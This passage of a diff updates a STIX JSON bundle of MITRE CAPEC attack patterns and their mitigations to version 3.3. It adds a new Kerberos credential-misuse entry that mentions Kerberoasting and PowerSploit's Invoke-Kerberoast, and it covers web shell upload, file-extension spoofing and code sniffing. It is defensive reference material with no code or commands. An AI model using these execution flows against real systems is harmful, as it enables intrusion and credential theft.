"identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-648-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "While screen capture is a legitimate and practical function, certain situations and context may require the disabling of this feature.", - "type": "course-of-action", - "id": "course-of-action--ec0a0b82-9297-4d4b-8a03-975dc1cdd2e7" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--e559a56f-da83-4f00-bf13-dda7f216f4e3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e559a56f-da83-4f00-bf13-dda7f216f4e3", "source_ref": "course-of-action--ec0a0b82-9297-4d4b-8a03-975dc1cdd2e7", "relationship_type": "mitigates", "target_ref": "attack-pattern--140142cc-28cb-4506-bce6-b44128b7b9a7" }, { + "id": "attack-pattern--f18ec51a-9ecd-49bf-9b91-5f5288306f70", "name": "Adding a Space to a File Extension", "description": "An adversary adds a space character to the end of a file extension and takes advantage of an application that does not properly neutralize trailing special elements in file names. This extra space, which can be difficult for a user to notice, affects which default application is used to operate on the file and can be leveraged by the adversary to control execution.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -40637,7 +44656,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -40648,6 +44667,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/46.html", "external_id": "CWE-46" + }, + { + "source_name": "ATTACK", + "description": "Masquerading:Space after Filename", + "url": "https://attack.mitre.org/wiki/Technique/T1036/006", + "external_id": "T1036.006" } ], "x_capec_likelihood_of_attack": "Low", @@ -40668,36 +44693,38 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--f18ec51a-9ecd-49bf-9b91-5f5288306f70" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ca9bac26-36eb-4576-996b-53f3e979c3ed", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-649-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "File extensions should be checked to see if non-visible characters are being included.", - "type": "course-of-action", - "id": "course-of-action--ca9bac26-36eb-4576-996b-53f3e979c3ed" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--06d27c54-f604-4253-9b67-9e78cfe16886", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--06d27c54-f604-4253-9b67-9e78cfe16886", "source_ref": "course-of-action--ca9bac26-36eb-4576-996b-53f3e979c3ed", "relationship_type": "mitigates", "target_ref": "attack-pattern--f18ec51a-9ecd-49bf-9b91-5f5288306f70" }, { + "id": "attack-pattern--3147f1c9-3043-40ca-ad42-c1be938820a4", "name": "Sniff Application Code", "description": "An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -40705,7 +44732,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -40741,7 +44768,7 @@ "x_capec_likelihood_of_attack": "Low", "x_capec_typical_severity": "High", "x_capec_prerequisites": [ - "The attacker must have the ability to place himself in the communication path between the client and server.", + "The attacker must have the ability to place themself in the communication path between the client and server.", "The targeted application must receive some application code from the server; for example, dynamic updates, patches, applets or scripts.", "The attacker must be able to employ a sniffer on the network without being detected." ], @@ -40768,87 +44795,94 @@ "Attacker receives notification that the computer/OS/application has an available update, loads a network sniffing tool, and extracts update data from subsequent communication. The attacker then proceeds to reverse engineer the captured stream to gain sensitive information, such as encryption keys, validation algorithms, applications patches, etc..", "Plain code, such as applets or JavaScript, is also part of the executing application. If such code is transmitted unprotected, the attacker can capture the code and possibly reverse engineer it to gain sensitive information, such as encryption keys, validation algorithms and such." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. \n Set up a sniffer\n The attacker sets up a sniffer in the path between the server and the client and watches the traffic.\n

    2. Techniques
    The attacker sets up a sniffer in the path between the server and the client.

Exploit

  1. \n Capturing Application Code Bound During Patching\n Attacker knows that the computer/OS/application can request new applications to install, or it periodically checks for an available update. The attacker loads the sniffer set up during Explore phase, and extracts the application code from subsequent communication. The attacker then proceeds to reverse engineer the captured code.\n

    2. Techniques
    Attacker loads the sniffer to capture the application code bound during a dynamic update.
    The attacker proceeds to reverse engineer the captured code.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3147f1c9-3043-40ca-ad42-c1be938820a4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--c929e01c-c2b8-495f-bac3-4e6b80ae2d7b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-65-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Encrypt all communication between the client and server.", - "type": "course-of-action", - "id": "course-of-action--c929e01c-c2b8-495f-bac3-4e6b80ae2d7b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f11fbd0b-3fdd-4f8c-b521-a759509f3c72", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f11fbd0b-3fdd-4f8c-b521-a759509f3c72", "source_ref": "course-of-action--c929e01c-c2b8-495f-bac3-4e6b80ae2d7b", "relationship_type": "mitigates", "target_ref": "attack-pattern--3147f1c9-3043-40ca-ad42-c1be938820a4" }, { + "id": "course-of-action--dd68f1a2-41e9-4d58-8759-18724265ed85", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-65-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Use SSL, SSH, SCP.", - "type": "course-of-action", - "id": "course-of-action--dd68f1a2-41e9-4d58-8759-18724265ed85" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f45fd050-a931-464c-985d-2ee73ad18461", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f45fd050-a931-464c-985d-2ee73ad18461", "source_ref": "course-of-action--dd68f1a2-41e9-4d58-8759-18724265ed85", "relationship_type": "mitigates", "target_ref": "attack-pattern--3147f1c9-3043-40ca-ad42-c1be938820a4" }, { + "id": "course-of-action--f3d9104c-7744-4b8d-a0ad-eda7ccd58f13", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-65-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Operation: Use \"ifconfig/ipconfig\" or other tools to detect the sniffer installed in the network.", - "type": "course-of-action", - "id": "course-of-action--f3d9104c-7744-4b8d-a0ad-eda7ccd58f13" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--817eac3b-7a9b-49f3-853d-f4f1190b3d05", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--817eac3b-7a9b-49f3-853d-f4f1190b3d05", "source_ref": "course-of-action--f3d9104c-7744-4b8d-a0ad-eda7ccd58f13", "relationship_type": "mitigates", "target_ref": "attack-pattern--3147f1c9-3043-40ca-ad42-c1be938820a4" }, { + "id": "attack-pattern--b9cddd44-a617-4a56-8560-0ca1cd9af42a", "name": "Upload a Web Shell to a Web Server", "description": "By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a \"gateway\" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -40856,7 +44890,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -40872,6 +44906,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/553.html", "external_id": "CWE-553" + }, + { + "source_name": "ATTACK", + "description": "Server Software Component:Web Shell", + "url": "https://attack.mitre.org/wiki/Technique/T1505/003", + "external_id": "T1505.003" } ], "x_capec_typical_severity": "High", @@ -40899,36 +44939,38 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b9cddd44-a617-4a56-8560-0ca1cd9af42a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-650-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "\n Make sure your web server is up-to-date with all patches to protect against known vulnerabilities.\n Insure that the file permissions in directories on the web server from which files can be execute is set to the \"least privilege\" settings, and that those directories contents is controlled by a whitelist.\n ", + "description": "\n Make sure your web server is up-to-date with all patches to protect against known vulnerabilities.\n Insure that the file permissions in directories on the web server from which files can be execute is set to the \"least privilege\" settings, and that those directories contents is controlled by an allowlist.\n ", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--a7d247b6-d018-45c1-bee1-16353637738e" + "id": "course-of-action--73fc5886-caaf-4787-8eb1-0229436f8ee5" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6b106367-b52e-42a0-b7b9-198dde1fa635", - "source_ref": "course-of-action--a7d247b6-d018-45c1-bee1-16353637738e", + "id": "relationship--d187b199-a650-444f-a557-e6dd95532a93", + "source_ref": "course-of-action--73fc5886-caaf-4787-8eb1-0229436f8ee5", "relationship_type": "mitigates", "target_ref": "attack-pattern--b9cddd44-a617-4a56-8560-0ca1cd9af42a" }, { + "id": "attack-pattern--94e596d2-6844-4031-80c3-8522642aaff8", "name": "Eavesdropping", "description": "An adversary intercepts a form of communication (e.g. text, audio, video) by way of software (e.g., microphone and audio recording application), hardware (e.g., recording equipment), or physical means (e.g., physical proximity). The goal of eavesdropping is typically to gain unauthorized access to sensitive information about the target for financial, personal, political, or other gains. Eavesdropping is different from a sniffing attack as it does not take place on a network-based communication channel (e.g., IP traffic). Instead, it entails listening in on the raw audio source of a conversation between two or more parties.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -40963,11 +45005,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--94e596d2-6844-4031-80c3-8522642aaff8" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--80199435-cd0f-4050-b9c4-faae49a620cd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -40976,23 +45018,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Be mindful of your surroundings when discussing sensitive information in public areas.", - "type": "course-of-action", - "id": "course-of-action--80199435-cd0f-4050-b9c4-faae49a620cd" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--1641c1d2-3516-4cc2-9d1f-2358c9d3f117", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1641c1d2-3516-4cc2-9d1f-2358c9d3f117", "source_ref": "course-of-action--80199435-cd0f-4050-b9c4-faae49a620cd", "relationship_type": "mitigates", "target_ref": "attack-pattern--94e596d2-6844-4031-80c3-8522642aaff8" }, { + "id": "course-of-action--99574627-4dd1-42b3-8b6b-775ff7f38e6a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -41001,23 +45045,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implement proper software restriction policies to only allow authorized software on your environment. Use of anti-virus and other security monitoring and detecting tools can aid in this too. Closely monitor installed software for unusual behavior or activity, and implement patches as soon as they become available.", - "type": "course-of-action", - "id": "course-of-action--99574627-4dd1-42b3-8b6b-775ff7f38e6a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--cba47b13-b50e-4cb8-8e76-8a25e15c68cc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cba47b13-b50e-4cb8-8e76-8a25e15c68cc", "source_ref": "course-of-action--99574627-4dd1-42b3-8b6b-775ff7f38e6a", "relationship_type": "mitigates", "target_ref": "attack-pattern--94e596d2-6844-4031-80c3-8522642aaff8" }, { + "id": "course-of-action--69dcf49f-4e67-4936-8ee7-6328a342fcf3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -41026,23 +45072,659 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "If possible, physically disable the microphone on your machine if it is not needed.", - "type": "course-of-action", - "id": "course-of-action--69dcf49f-4e67-4936-8ee7-6328a342fcf3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9fead0ee-041f-4282-bc32-392a7b3aed13", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9fead0ee-041f-4282-bc32-392a7b3aed13", "source_ref": "course-of-action--69dcf49f-4e67-4936-8ee7-6328a342fcf3", "relationship_type": "mitigates", "target_ref": "attack-pattern--94e596d2-6844-4031-80c3-8522642aaff8" }, { + "name": "Use of Known Kerberos Credentials", + "description": "An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain. Kerberos is the default authentication method for Windows domains and is utilized for numerous authentication purposes. Attacks leveraging trusted Kerberos credentials can result in numerous consequences, depending on what Kerberos credential is stolen. For example, Kerberos service accounts are typically used to run services or scheduled tasks pertaining to authentication. However, these credentials are often weak and never expire, in addition to possessing local or domain administrator privileges. If an adversary is able to acquire these credentials, it could result in lateral movement within the Windows domain or access to any resources the service account is privileged to access, among other things. The protocol itself centers around a ticketing system that is used to request/grant access to resources and to then access the requested resources. If one of these tickets is acquired, an adversary could gain access to a specific resource; access any resource a user has privileges to access; gain access to services that use Kerberos as an authentication mechanism and generate tickets to access a particular resource and the system that hosts the resource; or generate Ticket Granting Tickets (TGTs) for any domain account within Active Directory. Kerberos credentials can be obtained by an adversary via methods such as system breaches, network sniffing attacks, and/or brute force attacks against the Kerberos service account or the hash of a service ticket. Ultimately, successful spoofing and impersonation of trusted Kerberos credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application.", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/652.html", + "external_id": "CAPEC-652" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/522.html", + "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/836.html", + "external_id": "CWE-836" + }, + { + "source_name": "ATTACK", + "description": "Steal or Forge Kerberos Tickets", + "url": "https://attack.mitre.org/wiki/Technique/T1558", + "external_id": "T1558" + }, + { + "source_name": "reference_from_CAPEC", + "description": "BRONZE BUTLER Targets Japanese Enterprises, 2017--10---12, Secureworks\u00ae Counter Threat Unit\u2122 Threat Intelligence", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", + "external_id": "REF-584" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Kerberoasting Without Mimikatz, 2016--11---01", + "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/", + "external_id": "REF-585" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Invoke-Kerberoast", + "url": "https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/", + "external_id": "REF-586" + } + ], + "x_capec_likelihood_of_attack": "Medium", + "x_capec_typical_severity": "High", + "x_capec_prerequisites": [ + "The system/application is connected to the Windows domain and leverages Kerberos authentication.", + "The system/application uses one factor password-based authentication, SSO, and/or cloud-based authentication for Kerberos service accounts.", + "The system/application does not have a sound password policy that is being enforced for Kerberos service accounts.", + "The system/application does not implement an effective password throttling mechanism for authenticating to Kerberos service accounts.", + "The targeted network allows for network sniffing attacks to succeed." + ], + "x_capec_skills_required": { + "Low": "Once an adversary obtains a known Kerberos credential, leveraging it is trivial." + }, + "x_capec_resources_required": [ + "A valid Kerberos ticket or a known Kerberos service account credential." + ], + "x_capec_consequences": { + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_abstraction": "Standard", + "x_capec_example_instances": [ + "Bronze Butler (also known as Tick), has been shown to leverage forged Kerberos Ticket Granting Tickets (TGTs) and Ticket Granting Service (TGS) tickets to maintain administrative access on a number of systems. [REF-584]", + "PowerSploit's Invoke-Kerberoast module can be leveraged to request Ticket Granting Service (TGS) tickets and return crackable ticket hashes. [REF-585] [REF-586]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known Kerberos credentials: The adversary must obtain known Kerberos credentials in order to access the target system, application, or service within the domain.

    2. Techniques
    An adversary purchases breached Kerberos service account username/password combinations or leaked hashed passwords from the dark web.
    An adversary guesses the credentials to a weak Kerberos service account.
    An adversary conducts a sniffing attack to steal Kerberos tickets as they are transmitted.
    An adversary conducts a Kerberoasting attack.

Experiment

  1. Attempt Kerberos authentication: Try each Kerberos credential against various resources within the domain until the target grants access.

    2. Techniques
    Manually or automatically enter each Kerberos service account credential through the target's interface.
    Attempt a Pass the Ticket attack.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the domain

  2. Spoofing: Malicious data can be injected into the target system or into other systems on the domain. The adversary can also pose as a legitimate domain user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within domain systems or applications.

", + "x_capec_status": "Draft", + "x_capec_version": "3.3", + "type": "attack-pattern", + "id": "attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-652-0", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Create a strong password policy and ensure that your system enforces this policy for Kerberos service accounts.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--2e1a5831-7cf6-44e4-93ce-a94cbf2d8eeb" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--2f1be939-d853-4d8a-95f3-0b617e01e652", + "source_ref": "course-of-action--2e1a5831-7cf6-44e4-93ce-a94cbf2d8eeb", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-652-1", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Ensure Kerberos service accounts are not reusing username/password combinations for multiple systems, applications, or services.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--9ee558c8-a72f-4895-8174-1bade0ff03ec" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--a90ffcb8-0f80-4e85-8b26-10496f6bb52a", + "source_ref": "course-of-action--9ee558c8-a72f-4895-8174-1bade0ff03ec", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-652-2", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Do not reuse Kerberos service account credentials across systems.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--03efb1bc-0846-4331-97bb-9065c35103aa" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--785c37de-0ec5-4060-874b-ee39ba235750", + "source_ref": "course-of-action--03efb1bc-0846-4331-97bb-9065c35103aa", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-652-3", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Deny remote use of Kerberos service account credentials to log into domain systems.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--91219be7-37d8-46e3-935e-5f41a4522558" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--d34114ce-f6a3-4ab9-ba44-4d82771bf60f", + "source_ref": "course-of-action--91219be7-37d8-46e3-935e-5f41a4522558", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-652-4", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Do not allow Kerberos service accounts to be a local administrator on more than one system.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--6c5c6b07-f048-4361-81c5-74776f2b1677" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--b4ad929d-f0f1-40d2-b370-48856e8046d9", + "source_ref": "course-of-action--6c5c6b07-f048-4361-81c5-74776f2b1677", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-652-5", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Enable at least AES Kerberos encryption for tickets.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--dd7827a3-05d8-4f6b-a821-c18bae857754" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + 